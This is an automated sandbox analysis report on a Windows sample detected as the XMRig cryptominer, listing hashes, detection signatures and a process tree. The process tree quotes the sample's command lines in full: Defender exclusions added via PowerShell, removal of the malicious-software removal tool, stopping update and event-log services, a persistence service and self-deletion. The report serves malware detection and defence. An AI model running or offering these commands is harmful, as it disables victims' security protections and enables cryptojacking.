Analysis
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max time kernel
89s -
max time network
107s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 03:24
Static task
static1
Behavioral task
behavioral1
Sample
dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe
Resource
win7-20240729-en
General
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Target
dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe
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Size
5.6MB
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MD5
7f2692fc2a91cd05956573198ae22080
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SHA1
9b48bff2bd59f690cb37adb4a3749efe0f11e871
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SHA256
dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991
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SHA512
f532d2f54433544cf36166a078480a3a3eac67957da0bf8b240a5f1cb0aaf1d38da93121ae29a461732cca2387b6ddce44fbc26ef6694423dd2a6aa1faa045e1
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7m:xFKoU8O5/b2XViSjX310SeyGc7u7m
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2428-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2428-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2096 powershell.exe 2120 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1180 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 1952 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2184 powercfg.exe 1728 powercfg.exe 2772 powercfg.exe 2092 powercfg.exe 2784 powercfg.exe 2568 powercfg.exe 844 powercfg.exe 2408 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1952 set thread context of 2556 1952 lutlgidagtja.exe 86 PID 1952 set thread context of 2428 1952 lutlgidagtja.exe 89 -
resource yara_rule behavioral1/memory/2428-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2428-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1976 sc.exe 3064 sc.exe 2548 sc.exe 1960 sc.exe 2840 sc.exe 2708 sc.exe 404 sc.exe 2888 sc.exe 3000 sc.exe 2172 sc.exe 444 sc.exe 1660 sc.exe 3044 sc.exe 1796 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50e2e79bc551db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 2096 powershell.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1464 dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe 1952 lutlgidagtja.exe 2120 powershell.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 1952 lutlgidagtja.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe 2428 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2096 powershell.exe Token: SeShutdownPrivilege 2772 powercfg.exe Token: SeShutdownPrivilege 2568 powercfg.exe Token: SeShutdownPrivilege 2784 powercfg.exe Token: SeShutdownPrivilege 2092 powercfg.exe Token: SeDebugPrivilege 2120 powershell.exe Token: SeShutdownPrivilege 844 powercfg.exe Token: SeShutdownPrivilege 1728 powercfg.exe Token: SeShutdownPrivilege 2184 powercfg.exe Token: SeLockMemoryPrivilege 2428 nslookup.exe Token: SeShutdownPrivilege 2408 powercfg.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2848 wrote to memory of 2732 2848 cmd.exe 38 PID 2848 wrote to memory of 2732 2848 cmd.exe 38 PID 2848 wrote to memory of 2732 2848 cmd.exe 38 PID 1180 wrote to memory of 1696 1180 cmd.exe 63 PID 1180 wrote to memory of 1696 1180 cmd.exe 63 PID 1180 wrote to memory of 1696 1180 cmd.exe 63 PID 3036 wrote to memory of 2272 3036 cmd.exe 73 PID 3036 wrote to memory of 2272 3036 cmd.exe 73 PID 3036 wrote to memory of 2272 3036 cmd.exe 73 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2556 1952 lutlgidagtja.exe 86 PID 1952 wrote to memory of 2428 1952 lutlgidagtja.exe 89 PID 1952 wrote to memory of 2428 1952 lutlgidagtja.exe 89 PID 1952 wrote to memory of 2428 1952 lutlgidagtja.exe 89 PID 1952 wrote to memory of 2428 1952 lutlgidagtja.exe 89 PID 1952 wrote to memory of 2428 1952 lutlgidagtja.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe"C:\Users\Admin\AppData\Local\Temp\dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1464 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2096
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2732
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2840
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1976
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3064
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3000
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2708
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2772
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2784
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2092
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2568
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2172
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2548
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:404
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:444
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1696
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2120
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2272
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1796
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1960
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2888
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1660
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:844
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1728
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2184
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2408
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2556
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2428
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD57f2692fc2a91cd05956573198ae22080
SHA19b48bff2bd59f690cb37adb4a3749efe0f11e871
SHA256dd9154dea699c6e572121bb15bd7fac6d33dd619d51e0323142588bcf9b9d991
SHA512f532d2f54433544cf36166a078480a3a3eac67957da0bf8b240a5f1cb0aaf1d38da93121ae29a461732cca2387b6ddce44fbc26ef6694423dd2a6aa1faa045e1